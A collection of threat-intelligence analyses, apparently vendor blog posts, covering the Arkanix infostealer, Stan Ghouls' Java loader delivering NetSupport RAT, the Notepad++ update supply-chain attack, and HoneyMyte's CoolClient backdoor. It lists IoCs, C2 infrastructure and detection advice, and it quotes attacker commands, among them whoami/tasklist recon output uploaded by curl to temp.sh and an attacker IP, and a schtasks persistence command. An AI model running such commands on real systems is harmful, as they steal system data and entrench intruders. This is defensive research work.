Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.
Version info
After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.
Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.
RDP connections
The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.
Gaming files
The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:
Steam
Epic Games Launcher
net
Riot
Origin
Unreal Engine
Ubisoft Connect
GOG
Screenshots
The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.
Post-exploitation browser data extractor
MD5
3283f8c54a3ddf0bc0d4111cc1f950c0
File name
–
This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.
Infrastructure
During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.
Domain
IP
First seen
ASN
arkanix[.]pw
195.246.231[.]60
Oct 09, 2025
–
arkanix[.]ru
172.67.186[.]193
Oct 19, 2025
–
Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.
Stealer panel sign-in page
Stealer promotion
During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).
Feature votes
Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.
Arkanix Crypter
Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:
C++ native stealer
Exodus and Atomic cryptocurrency wallets injection
Increased payload generation, up to 10 payloads
Priority support
Referral program ad and corresponding panel interface
Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.
This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.
Example of LLM-specific patterns
Conclusions
Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.
In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.
Stan Ghouls (also known as Bloody Wolf) is an cybercriminal group that has been launching targeted attacks against organizations in Russia, Kyrgyzstan, Kazakhstan, and Uzbekistan since at least 2023. These attackers primarily have their sights set on the manufacturing, finance, and IT sectors. Their campaigns are meticulously prepared and tailored to specific victims, featuring a signature toolkit of custom Java-based malware loaders and a sprawling infrastructure with resources dedicated to specific campaigns.
We continuously track Stan Ghouls’ activity, providing our clients with intel on their tactics, techniques, procedures, and latest campaigns. In this post, we share the results of our most recent deep dive into a campaign targeting Uzbekistan, where we identified roughly 50 victims. About 10 devices in Russia were also hit, with a handful of others scattered across Kazakhstan, Turkey, Serbia, and Belarus (though those last three were likely just collateral damage).
During our investigation, we spotted shifts in the attackers’ infrastructure – specifically, a batch of new domains. We also uncovered evidence suggesting that Stan Ghouls may have added IoT-focused malware to their arsenal.
Technical details
Threat evolution
Stan Ghouls relies on phishing emails packed with malicious PDF attachments as their initial entry point. Historically, the group’s weapon of choice was the remote access Trojan (RAT) STRRAT, also known as Strigoi Master. Last year, however, they switched strategies, opting to misuse legitimate software, NetSupport, to maintain control over infected machines.
Given Stan Ghouls’ targeting of financial institutions, we believe their primary motive is financial gain. That said, their heavy use of RATs may also hint at cyberespionage.
Like any other organized cybercrime groups, Stan Ghouls frequently refreshes its infrastructure. To track their campaigns effectively, you have to continuously analyze their activity.
Initial infection vector
As we’ve mentioned, Stan Ghouls’ primary – and currently only – delivery method is spear phishing. Specifically, they favor emails loaded with malicious PDF attachments. This has been backed up by research from several of our industry peers (1, 2, 3). Interestingly, the attackers prefer to use local languages rather than opting for international mainstays like Russian or English. Below is an example of an email spotted in a previous campaign targeting users in Kyrgyzstan.
Example of a phishing email from a previous Stan Ghouls campaign
The email is written in Kyrgyz and translates to: “The service has contacted you. Materials for review are attached. Sincerely”.
The attachment was a malicious PDF file titled “Постановление_Районный_суд_Кчрм_3566_28-01-25_OL4_scan.pdf” (the title, written in Russian, posed it as an order of district court).
During the most recent campaign, which primarily targeted victims in Uzbekistan, the attackers deployed spear-phishing emails written in Uzbek:
Example of a spear-phishing email from the latest campaign
The email text can be translated as follows:
[redacted] AKMALZHON IBROHIMOVICH
You will receive a court notice. Application for retrial. The case is under review by the district court. Judicial Service.
Mustaqillik Street, 147 Uraboshi Village, Quva District.
The attachment, named E-SUD_705306256_ljro_varaqasi.pdf (MD5: 7556e2f5a8f7d7531f28508f718cb83d), is a standard one-page decoy PDF:
The embedded decoy document
Notice that the attackers claim that the “case materials” (which are actually the malicious loader) can only be opened using the Java Runtime Environment.
They even helpfully provide a link for the victim to download and install it from the official website.
The malicious loader
The decoy document contains identical text in both Russian and Uzbek, featuring two links that point to the malicious loader:
Uzbek link (“- Ish materiallari 09.12.2025 y”): hxxps://mysoliq-uz[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
Russian link (“- Материалы дела 09.12.2025 г.”): hxxps://my-xb[.]com/api/v2/documents/financial/Q4-2025/audited/consolidated/with-notes/financials/reports/annual/2025/tashkent/statistical-statements/
Both links lead to the exact same JAR file (MD5: 95db93454ec1d581311c832122d21b20).
It’s worth noting that these attackers are constantly updating their infrastructure, registering new domains for every new campaign. In the relatively short history of this threat, we’ve already mapped out over 35 domains tied to Stan Ghouls.
The malicious loader handles three main tasks:
Displaying a fake error message to trick the user into thinking the application can’t run. The message in the screenshot translates to: “This application cannot be run in your OS. Please use another device.”
Fake error message
Checking that the number of previous RAT installation attempts is less than three. If the limit is reached, the loader terminates and throws the following error: “Urinishlar chegarasidan oshildi. Boshqa kompyuterni tekshiring.” This translates to: “Attempt limit reached. Try another computer.”
The limitCheck procedure for verifying the number of RAT download attempts
Downloading a remote management utility from a malicious domain and saving it to the victim’s machine. Stan Ghouls loaders typically contain a list of several domains and will iterate through them until they find one that’s live.
The performanceResourceUpdate procedure for downloading the remote management utility
The loader fetches the following files, which make up the components of the NetSupport RAT: PCICHEK.DLL, client32.exe, advpack.dll, msvcr100.dll, remcmdstub.exe, ir50_qcx.dll, client32.ini, AudioCapture.dll, kbdlk41a.dll, KBDSF.DLL, tcctl32.dll, HTCTL32.DLL, kbdibm02.DLL, kbd101c.DLL, kbd106n.dll, ir50_32.dll, nskbfltr.inf, NSM.lic, pcicapi.dll, PCICL32.dll, qwave.dll. This list is hardcoded in the malicious loader’s body. To ensure the download was successful, it checks for the presence of the client32.exe executable. If the file is found, the loader generates a NetSupport launch script (run.bat), drops it into the folder with the other files, and executes it:
The createBatAndRun procedure for creating and executing the run.bat file, which then launches the NetSupport RAT
The loader also ensures NetSupport persistence by adding it to startup using the following three methods:
It creates an autorun script named SoliqUZ_Run.bat and drops it into the Startup folder (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup):
The generateAutorunScript procedure for creating the batch file and placing it in the Startup folder
It adds the run.bat file to the registry’s autorun key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run\malicious_key_name).
The registryStartupAdd procedure for adding the RAT launch script to the registry autorun key
It creates a scheduled task to trigger run.bat using the following command: schtasks Create /TN "[malicious_task_name]" /TR "[path_to_run.bat]" /SC ONLOGON /RL LIMITED /F /RU "[%USERNAME%]"
The installStartupTask procedure for creating a scheduled task to launch the NetSupport RAT (via run.bat)
Once the NetSupport RAT is downloaded, installed, and executed, the attackers gain total control over the victim’s machine. While we don’t have enough telemetry to say with 100% certainty what they do once they’re in, the heavy focus on finance-related organizations suggests that the group is primarily after its victims’ money. That said, we can’t rule out cyberespionage either.
Malicious utilities for targeting IoT infrastructure
Previous Stan Ghouls attacks targeting organizations in Kyrgyzstan, as documented by Group-IB researchers, featured a NetSupport RAT configuration file client32.ini with the MD5 hash cb9c28a4c6657ae5ea810020cb214ff0. While reports mention the Kyrgyzstan campaign kicked off in June 2025, Kaspersky solutions first flagged this exact config file on May 16, 2025. At that time, it contained the following NetSupport RAT command-and-control server info:
At the time of our January 2026 investigation, our telemetry showed that the domain specified in that config, hgame33[.]com, was also hosting the following files:
All of these files belong to the infamous IoT malware named Mirai. Since they are sitting on a server tied to the Stan Ghouls’ campaign targeting Kyrgyzstan, we can hypothesize – with a low degree of confidence – that the group has expanded its toolkit to include IoT-based threats. However, it’s also possible it simply shared its infrastructure with other threat actors who were the ones actually wielding Mirai. This theory is backed up by the fact that the domain’s registration info was last updated on July 4, 2025, at 11:46:11 – well after Stan Ghouls’ activity in May and June.
Attribution
We attribute this campaign to the Stan Ghouls (Bloody Wolf) group with a high degree of confidence, based on the following similarities to the attackers’ previous campaigns:
Substantial code overlaps were found within the malicious loaders. For example:
Code snippet from sample 1acd4592a4eb0c66642cc7b07213e9c9584c6140210779fbc9ebb76a90738d5e, the loader from the Group-IB report
Code snippet from sample 95db93454ec1d581311c832122d21b20, the NetSupport loader described here
Decoy documents in both campaigns look identical.
Decoy document 5d840b741d1061d51d9786f8009c37038c395c129bee608616740141f3b202bb from the campaign reported by Group-IB
Decoy document 106911ba54f7e5e609c702504e69c89a used in the campaign described here
In both current and past campaigns, the attackers utilized loaders written in Java. Given that Java has fallen out of fashion with malicious loader authors in recent years, it serves as a distinct fingerprint for Stan Ghouls.
Victims
We identified approximately 50 victims of this campaign in Uzbekistan, alongside 10 in Russia and a handful of others in Kazakhstan, Turkey, Serbia, and Belarus (we suspect the infections in these last three countries were accidental). Nearly all phishing emails and decoy files in this campaign were written in Uzbek, which aligns with the group’s track record of leveraging the native languages of their target countries.
Most of the victims are tied to industrial manufacturing, finance, and IT. Furthermore, we observed infection attempts on devices within government organizations, logistics companies, medical facilities, and educational institutions.
It is worth noting that over 60 victims is quite a high headcount for a sophisticated campaign. This suggests the attackers have enough resources to maintain manual remote control over dozens of infected devices simultaneously.
Takeaways
In this post, we’ve broken down the recent campaign by the Stan Ghouls group. The attackers set their sights on organizations in industrial manufacturing, IT, and finance, primarily located in Uzbekistan. However, the ripple effect also reached Russia, Kazakhstan, and a few, likely accidental, victims elsewhere.
With over 60 targets hit, this is a remarkably high volume for a sophisticated targeted campaign. It points to the significant resources these actors are willing to pour into their operations. Interestingly, despite this, the group sticks to a familiar toolkit including the legitimate NetSupport remote management utility and their signature custom Java-based loader. The only thing they seem to keep updating is their infrastructure. For this specific campaign, they employed two new domains to house their malicious loader and one new domain dedicated to hosting NetSupport RAT files.
One curious discovery was the presence of Mirai files on a domain linked to the group’s previous campaigns. This might suggest Stan Ghouls are branching out into IoT malware, though it’s still too early to call it with total certainty.
We’re keeping a close watch on Stan Ghouls and will continue to keep our customers in the loop regarding the group’s latest moves. Kaspersky products provide robust protection against this threat at every stage of the attack lifecycle.
UPD 11.02.2026: added recommendations on how to use the Notepad++ supply chain attack rules package in our SIEM system.
Introduction
On February 2, 2026, the developers of Notepad++, a text editor popular among developers, published a statement claiming that the update infrastructure of Notepad++ had been compromised. According to the statement, this was due to a hosting provider-level incident, which occurred from June to September 2025. However, attackers had been able to retain access to internal services until December 2025.
Multiple execution chains and payloads
Having checked our telemetry related to this incident, we were amazed to find out how different and unique the execution chains used in this supply chain attack were. We identified that over the course of four months, from July to October 2025, attackers who had compromised Notepad++ had been constantly rotating C2 server addresses used for distributing malicious updates, the downloaders used for implant delivery, as well as the final payloads.
We observed three different infection chains overall, designed to attack about a dozen machines, belonging to:
Individuals located in Vietnam, El Salvador, and Australia;
A government organization located in the Philippines;
A financial organization located in El Salvador;
An IT service provider organization located in Vietnam.
Despite the variety of payloads observed, Kaspersky solutions were able to block the identified attacks as they occurred.
In this article, we describe the variety of the infection chains we observed in the Notepad++ supply chain attack, as well as provide numerous previously unpublished IoCs related to it.
Chain #1: late July and early August 2025
We observed attackers to deploy a malicious Notepad++ update for the first time in late July 2025. It was hosted at http://45.76.155[.]202/update/update.exe. Notably, the first scan of this URL on the VirusTotal platform occurred in late September, by a user from Taiwan.
The update.exe file downloaded from this URL (SHA1: 8e6e505438c21f3d281e1cc257abdbf7223b7f5a) was launched by the legitimate Notepad++ updater process, GUP.exe. This file turned out to be a NSIS installer about 1 MB in size. When started, it sends a heartbeat containing system information to the attackers. This is done through the following steps:
The file creates a directory named %appdata%\ProShow and sets it as the current directory;
It executes the shell command cmd /c whoami&&tasklist > 1.txt, thus creating a file with the shell command execution results in the %appdata%\ProShow directory;
Then it uploads the 1.txt file to the temp[.]sh hosting service by executing the curl.exe -F "file=@1.txt" -s https://temp.sh/upload command;
Next, it sends the URL to the uploaded 1.txt file by using the curl.exe --user-agent "https://temp.sh/ZMRKV/1.txt" -s http://45.76.155[.]202 shell command. As can be observed, the uploaded file URL is transferred inside the user agent.
Notably, the same behavior of malicious Notepad++ updates, specifically the launch of shell commands and the use of the temp[.]sh website for file uploading, was described on the Notepad++ community forums by a user named soft-parsley.
After sending system information, the update.exe file executes the second-stage payload. To do that, it performs the following actions:
Drops the following files to the %appdata%\ProShow directory:
The ProShow.exe file being launched is legitimate ProShow software, which is abused to launch a malicious payload. Normally, when threat actors aim to execute a malicious payload inside a legitimate process, they resort to the DLL sideloading technique. However, this time attackers decided to avoid using it — likely due to how much attention this technique receives nowadays. Instead, they abused an old, known vulnerability in the ProShow software, which dates back to early 2010s. The dropped file named load contains an exploit payload, which is launched when the ProShow.exe file is launched. It is worth noting that, apart from this payload, all files in the %appdata%\ProShow directory are legitimate.
Analysis of the exploit payload revealed that it contained two shellcodes: one at the very start and the other one in the middle of the file. The shellcode located at the start of the file contained a set of meaningless instructions and was not designed to be executed — rather, attackers used it as the exploit padding bytes. It is likely that, by using a fake shellcode for padding bytes instead of something else (e.g., a sequence of 0x41 characters or random bytes), attackers aimed to confuse researchers and automated analysis systems.
The second shellcode, which is stored in the middle of the file, is the one that is launched when ProShow.exe is started. It decrypts a Metasploit downloader payload that retrieves a Cobalt Strike Beacon shellcode from the URL https://45.77.31[.]210/users/admin (user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36) and launches it.
The Cobalt Strike Beacon payload is designed to communicate with the cdncheck.it[.]com C2 server. For instance, it uses the GET request URL https://45.77.31[.]210/api/update/v1 and the POST request URL https://45.77.31[.]210/api/FileUpload/submit.
Later on, in early August 2025, we observed attackers to use the same download URL for the update.exe files (observed SHA1 hash: 90e677d7ff5844407b9c073e3b7e896e078e11cd), as well as the same execution chain for delivery of Cobalt Strike Beacon via malicious Notepad++ updates. However, we noted the following differences:
In the Metasploit downloader payload, the URL for downloading Cobalt Strike Beacon was set to https://cdncheck.it[.]com/users/admin;
The Cobalt Strike C2 server URLs were set to https://cdncheck.it[.]com/api/update/v1 and https://cdncheck.it[.]com/api/Metadata/submit.
We have not further seen any infections leveraging chain #1 since early August 2025.
Chain #2: mid- and late September 2025
A month and a half after malicious update detections ceased, we observed attackers to resume deploying these updates in the middle of September 2025, using another infection chain. The malicious update was still being distributed from the URL http://45.76.155[.]202/update/update.exe, and the file downloaded from it (SHA1 hash: 573549869e84544e3ef253bdba79851dcde4963a) was an NSIS installer as well. However, its file size was now about 140 KB. Again, this file performed two actions:
Obtained system information by executing a shell command and uploading its execution results to temp[.]sh;
Dropped a next-stage payload on disk and launched it.
Regarding system information, attackers made the following changes to how it was collected:
They changed the working directory to %APPDATA%\Adobe\Scripts;
They started collecting more system information details, changing the shell command being executed to cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt.
The created a.txt file was, just as in the case of stage #1, uploaded to the temp[.]sh website through curl, with the obtained temp[.]sh URL being transferred to the same http://45.76.155[.]202/list endpoint, inside the User-Agent header.
As for the next-stage payload, it was changed completely. The NSIS installer was configured to drop the following files into the %APPDATA%\Adobe\Scripts directory:
Next, it executes the following shell command to launch the script.exe file: %APPDATA%\%Adobe\Scripts\script.exe %APPDATA%\Adobe\Scripts\alien.ini.
All of the files in the %APPDATA%\Adobe\Scripts directory, except for alien.ini, are legitimate and related to the Lua interpreter. As such, the previously mentioned command is used by attackers to launch a compiled Lua script, located in the alien.ini file. Below is a screenshot of its decompilation:
As we can see, this small script is used for placing shellcode inside executable memory and then launching it through the EnumWindowStationsW API function.
The launched shellcode is, just in the case of chain #1, a Metasploit downloader, which downloads a Cobalt Strike Beacon payload, again in the form of a shellcode, from the URL https://cdncheck.it[.]com/users/admin.
The Cobalt Strike payload contains the C2 server URLs that slightly differ from the ones seen previously: https://cdncheck.it[.]com/api/getInfo/v1 and https://cdncheck.it[.]com/api/FileUpload/submit.
Attacks involving chain #2 continued until the end of September, when we observed two more malicious update.exe files. One of them had the SHA1 hash 13179c8f19fbf3d8473c49983a199e6cb4f318f0. The Cobalt Strike Beacon payload delivered through it was configured to use the same URLs observed in mid-September, however, attackers changed the way system information was collected. Specifically, attackers split the single shell command they used for this (cmd /c "whoami&&tasklist&&systeminfo&&netstat -ano" > a.txt) into multiple commands:
cmd /c whoami >> a.txt
cmd /c tasklist >> a.txt
cmd /c systeminfo >> a.txt
cmd /c netstat -ano >> a.txt
Notably, the same sequence of commands was previously documented by the user soft-parsley on the Notepad++ community forums.
The other update.exe file had the SHA1 hash 4c9aac447bf732acc97992290aa7a187b967ee2c. By using it, attackers performed the following:
Changed the system information upload URL to https://self-dns.it[.]com/list;
Changed the user agent used in HTTP requests to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36;
Changed the URL used by the Metasploit downloader to https://safe-dns.it[.]com/help/Get-Start;
Changed the Cobalt Strike Beacon C2 server URLs to https://safe-dns.it[.]com/resolve and https://safe-dns.it[.]com/dns-query.
Chain #3: October 2025
In early October 2025, the attackers changed the infection chain once again. They also changed the C2 server for distributing malicious updates, with the observed update URL being http://45.32.144[.]255/update/update.exe. The payload downloaded (SHA1: d7ffd7b588880cf61b603346a3557e7cce648c93) was still a NSIS installer, however, unlike in the case of chains 1 and 2, this installer did not include the system information sending functionality. It simply dropped the following files to the %appdata%\Bluetooth\ directory:
BluetoothService.exe, a legitimate executable (SHA1: 21a942273c14e4b9d3faa58e4de1fd4d5014a1ed);
log.dll, a malicious DLL (SHA1: f7910d943a013eede24ac89d6388c1b98f8b3717);
BluetoothService, an encrypted shellcode (SHA1: 7e0790226ea461bcc9ecd4be3c315ace41e1c122).
This execution chain relies on the sideloading of the log.dll file, which is responsible for launching the encrypted BluetoothService shellcode into the BluetoothService.exe process. Notably, such execution chains are commonly used by Chinese-speaking threat actors. This particular execution chain has already been described by Rapid7, and the final payload observed in it is the custom Chrysalis backdoor.
Unlike the previous chains, chain #3 does not load a Cobalt Strike Beacon directly. However, in their article Rapid7 claim that they additionally observed a Cobalt Strike Beacon payload being deployed to the C:\ProgramData\USOShared folder, while conducting incident response on one of the machines infected by the Notepad++ supply chain attack. Whilst Rapid7 does not detail how this file was dropped to the victim machine, we can highlight the following similarities between that Beacon payload and the Beacon payloads observed in chains #1 and #2:
In both cases, Beacons are loaded through a Metasploit downloader shellcode, with similar URLs used (api.wiresguard.com/users/admin for the Rapid7 payload, cdncheck.it.com/users/admin and http://45.77.31[.]210/users/admin for chain #1 and chain #2 payloads);
The Beacon configurations are encrypted with the XOR key CRAZY;
Similar C2 server URLs are used for Cobalt Strike Beacon communications (i.e. api.wiresguard.com/api/FileUpload/submit for the Rapid7 payload and https://45.77.31[.]210/api/FileUpload/submit for the chain #1 payload).
Return of chain #2 and changes in URLs: October 2025
In mid-October 2025, we observed attackers to resume deployments of the chain #2 payload (SHA1 hash: 821c0cafb2aab0f063ef7e313f64313fc81d46cd) using yet another URL: http://95.179.213[.]0/update/update.exe. Still, this payload used the previously mentioned self-dns.it[.]com and safe-dns.it[.]com domain names for system information uploading, Metasploit downloader and Cobalt Strike Beacon communications.
Further in late October 2025, we observed attackers to start changing URLs used for malicious update deliveries. Specifically, attackers started using the following URLs:
http://95.179.213[.]0/update/install.exe;
http://95.179.213[.]0/update/update.exe;
http://95.179.213[.]0/update/AutoUpdater.exe.
We didn’t observe any new payloads deployed from these URLs — they involved usage of both #2 and #3 execution chains. Finally, we didn’t see any payloads being deployed since November 2025.
Conclusion
Notepad++ is a text editor used by numerous developers. As such, the ability to control update servers of this software gave the attackers a unique possibility to break into machines of high-profile organizations around the world. The attackers made an effort to avoid losing access to this infection vector — they were spreading the malicious implants in a targeted manner, and they were skilled enough to drastically change the infection chains about once a month. Whilst we identified three distinct infection chains during our investigation, we would not be surprised to see more of them in use. To sum up our findings, here is the overall timeline of the infection chains that we identified:
The variety of infection chains makes detection of the Notepad++ supply chain attack quite a difficult, and at the same time creative, task. We would like to propose the following methods, from generic to specific, to hunt down traces of this attack:
Check systems for deployments of NSIS installers, which were used in all three observed execution chains. For example, this can be done by looking for logs related to creations of a %localappdata%\Temp\ns.tmp directory, made by NSIS installers at runtime. Make sure to investigate the origins of each identified NSIS installer to avoid false positives;
Check network traffic logs for DNS resolutions of the temp[.]sh domain, which is unusual to observe in corporate environments. Also, it is beneficial to conduct a check for raw HTTP traffic requests that have a temp[.]sh URL embedded in the user agent — both these steps will make it possible to detect chain #1 and chain #2 deployments;
Check systems for launches of malicious shell commands referenced in the article, such as whoami, tasklist, systeminfo and netstat -ano;
Use the specific IoCs listed below to identify known malicious domains and files.
Let’s take a closer look at Kaspersky Next EDR Expert.
One way to detect the described malicious activity is to monitor requests to LOLC2 (Living-Off-the-Land C2) services, which include temp[.]sh. Attackers use such services as intermediate control or delivery points for malicious payloads, masking C2 communication as legitimate web traffic. KEDR Expert detects this activity using the lolc2_connection_activity_network rule.
In addition, the described activity can be detected by executing typical local reconnaissance commands that attackers launch in the early stages of an attack after gaining access to the system. These commands allow the attacker to quickly obtain information about the environment, access rights, running processes, and network connections to plan further actions. KEDR Expert detects such activity using the following rules: system_owner_user_discovery, using_whoami_to_check_that_current_user_is_admin, system_information_discovery_win, system_network_connections_discovery_via_standard_windows_utilities.
In this case, a clear sign of malicious activity is gaining persistence through the autorun mechanism via the Windows registry, specifically the Run key, which ensures that programs start automatically when the user logs in. KEDR Expert detects this activity using the temporary_folder_in_registry_autorun rule.
To protect companies that use our Kaspersky SIEM system, we have prepared a set of correlation rules that help detect such malicious activity. These rules are already available for customers to download from the SIEM repository; the package name is [OOTB] Notepad++ supply chain attack package – ENG.
The Notepad++ supply chain attack package contains rules that can be divided into two groups based on their detection capabilities:
Indicators of compromise:
malicious URLs used to extract information from the targeted infrastructure;
malicious file names and hashes that were detected in this campaign.
Suspicious activity on the host:
unusual command lines specific to these attacks;
suspicious network activity from Notepad++ processes and an abnormal process tree;
traces of data collection, e.g. single-character file names.
Some rules may need to be adjusted if they trigger on legitimate activity, such as administrators’ or inventory agents’ actions.
We also recommend using the rules from the Notepad++ supply chain attack package for retrospective analysis (threat hunting). Recommended analysis period: from September 2025.
For the detection rules to work correctly, you need to make sure that events from Windows systems are received in full, including events 4688 (with command line logging enabled), 5136 (packet filtering), 4663 (access to objects, especially files), etc.
Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.
As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.
An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.
In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.
Variants of CoolClient abusing different software for DLL sideloading (2021–2025)
The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.
Overview of CoolClient execution flow
However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.
CoolClient functionalities
In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.
In this latest variant, CoolClient relies on several important files to function properly:
Filename
Description
Sang.exe
Legitimate Sangfor application abused for DLL sideloading.
libngs.dll
Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat
Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat
Encrypted configuration file.
main.dat
Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.
Parameter modes in second-stage DLL
CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.
Parameter
Actions
No parameter
· CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
CoolClient decrypts time.dat.
Adds new key to the Run registry for persistence mechanism.
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly created write.exe process.
Checks for service control manager (SCM) access.
Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
Installs a service named media_updaten and starts it.
If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
Bypasses UAC and performs privilege elevation.
Checks if the machine runs Windows 10 or a later version.
Impersonates svchost.exe process by spoofing PEB information.
Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
Elevates privileges to admin by duplicating an access token from an existing elevated process.
Final stage DLL
The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.
Clipboard and active windows monitor
A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.
CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.
The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.
HTTP proxy credential sniffer
Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.
